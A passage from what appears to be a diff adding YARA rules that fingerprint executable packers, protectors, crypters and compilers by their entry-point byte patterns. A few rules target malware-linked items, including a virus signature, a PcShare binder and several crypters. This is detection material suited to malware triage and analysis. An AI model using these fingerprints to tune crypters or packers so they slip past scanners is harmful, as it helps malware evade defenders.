+		$0 = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02}
+	condition:
+		$0
+}
+rule _Armadillo_v19x_
+{
+	meta:
+		description = "Armadillo v1.9x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_10_beta_2_by_Alex_
+{
+	meta:
+		description = "Alex Protector 1.0 beta 2 by Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 EB 01 E9 FF FF 60 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 8B D8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 8B CA EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 0F 31 03 C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 13 D1 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 EB 05 68 F0 0F C7 C8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 85}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _LCC_Win32_v1x_
+{
+	meta:
+		description = "LCC Win32 v1.x"
+	strings:
+		$0 = {64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V20X__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.0X -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+	condition:
+		$0 at entrypoint
+}
+rule _PROPACK_v208_emphasis_on_packed_size_locked_
+{
+	meta:
+		description = "PRO-PACK v2.08, emphasis on packed size, locked"
+	strings:
+		$0 = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PCPEC_alpha__preview_
+{
+	meta:
+		description = "PCPEC alpha - preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid__Arkanoid_
+{
+	meta:
+		description = "Packanoid -> Arkanoid"
+	strings:
+		$0 = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_yodas_cryptor_12__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake yoda's cryptor 1.2) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+	condition:
+		$0
+}
+rule _ASPack_v211c_
+{
+	meta:
+		description = "ASPack v2.11c"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_C_v400_p_Libraries_
+{
+	meta:
+		description = "Symantec C v4.00 + Libraries"
+	strings:
+		$0 = {FA B8 ?? ?? DB E3 8E D8 8C 06 ?? ?? 8B D8 2B 1E ?? ?? 89 1E ?? ?? 26}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_051__tE_
+{
+	meta:
+		description = "tElock 0.51 -> tE!"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00 00 00 32 C1 EB 02 82 0D AA EB 03 82 0D 58 EB 02 1D 7A 49 EB 05 E8 01 00 00 00 7F AE 14 7E A0 77 76 75 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PEZip_10_by_BaGIE_
+{
+	meta:
+		description = "PEZip 1.0 by BaGIE"
+	strings:
+		$0 = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+	condition:
+		$0
+}
+rule _DIET_v144_v145f_
+{
+	meta:
+		description = "DIET v1.44, v1.45f"
+	strings:
+		$0 = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v210b2_
+{
+	meta:
+		description = "Armadillo v2.10b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_Protection_Driver__Protection_Technology_h_
+{
+	meta:
+		description = "StarForce Protection Driver -> Protection Technology (h)"
+	strings:
+		$0 = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v014b_
+{
+	meta:
+		description = "CodeCrypt v0.14b"
+	strings:
+		$0 = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1250__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.5.0 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00}
+		$1 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_226_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.2.6 (minimum protection)"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v11x__Randy_Li_
+{
+	meta:
+		description = "Soft Defender v1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Histogram_graphics_file_
+{
+	meta:
+		description = "Histogram graphics file"
+	strings:
+		$0 = {6D 68 77 61 6E 68 00 04 01 02 01 02}
+	condition:
+		$0
+}
+rule _ASProtect_v12x_New_Strain_
+{
+	meta:
+		description = "ASProtect v1.2x (New Strain)"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007_V26__LiuXingPing__Sign_by_fly_
+{
+	meta:
+		description = "Anti007 V2.6 -> LiuXingPing ! Sign by fly"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+	condition:
+		$0
+}
+rule _SecurePE_1X__wwwdeepzoneorg_
+{
+	meta:
+		description = "SecurePE 1.X -> www.deepzone.org"
+	strings:
+		$0 = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0761_dos_exe_
+{
+	meta:
+		description = "UPX v0.76.1 [dos exe"
+	strings:
+		$0 = {B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8C C8 05 ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Modified_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Modified)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11xxx__NEOx_
+{
+	meta:
+		description = "nPack v1.1.xxx -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 08 ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 ?? 02 00 00 E8 ?? 06 00 00 E8 ?? 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? 00 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v13beta__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v1.3beta -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 ?? 4E 40 00 8B 42 3C 03 C2 89 85 ?? 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D ?? 4E 40 00 53 8F 85 ?? 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD ?? 4F 40 00 8D 5B 04 8B 1B 89 9D ?? 4F 40 00 E8 00 00 00 00 58 01 68 05 68 BC 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD ?? 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallAnywhere_61__Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere 6.1 -> Zero G Software Inc"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+		$1 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$2 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PSAdobeFont_v10_
+{
+	meta:
+		description = "PS-AdobeFont v.1.0"
+	strings:
+		$0 = {80 01 ?? ?? 00 00 25 21 50 53 2D 41 64 6F 62 65 46 6F 6E 74 2D 31 2E 30 3A}
+	condition:
+		$0
+}
+rule _Shrink_v10_
+{
+	meta:
+		description = "Shrink v1.0"
+	strings:
+		$0 = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_v01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher v0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Pack_Master_v10_
+{
+	meta:
+		description = "Pack Master v1.0"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+		$1 = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_SYP_
+{
+	meta:
+		description = "Vx: SYP"
+	strings:
+		$0 = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v410__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.10 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D0 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+	condition:
+		$0
+}
+rule _RLPack_V119_aPlib_043__ap0xnbsp_nbsp_Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)"
+	strings:
+		$0 = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v640__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 85 ?? ?? ?? ?? 00 00 00 00 E8 ?? ?? ?? ?? 83 C4 04 83 F8 64 7C ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 A1 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 66 8B 55 00 83 C5 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi DLL]"
+	strings:
+		$0 = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v60_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v6.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_4992__Bloodshed_Software_
+{
+	meta:
+		description = "Dev-C++ 4.9.9.2 -> Bloodshed Software"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Phoenix_Protector_v10v11__NTCorecom_
+{
+	meta:
+		description = "Phoenix Protector v1.0/v1.1 -> NTCore.com"
+	strings:
+		$0 = {02 6F ?? ?? ?? 0A 0A 06 8D ?? ?? ?? 01 0B 16 0C 38 36 00 00 00 02 08 6F ?? ?? ?? 0A 0D 09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C 08 07 8E 69 38 0B 00 00 00 28 ?? ?? ?? 0A 2A 38 EC FF FF FF 3F C0 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PcShare__v40___
+{
+	meta:
+		description = "PcShare ÎļþÀ¦°óÆ÷ v4.0 -> ÎÞ¿É·ÇÒé"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V010V011__Dwing_
+{
+	meta:
+		description = "Upack V0.10-V0.11 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_v124__cyclotron_
+{
+	meta:
+		description = "EmbedPE v1.24 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v10__v11_
+{
+	meta:
+		description = "Soft Defender v1.0 - v1.1"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Anslym_Crypter_
+{
+	meta:
+		description = "Anslym Crypter"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Encrypt_10__Liwuyue_
+{
+	meta:
+		description = "PE Encrypt 1.0 -> Liwuyue"
+	strings:
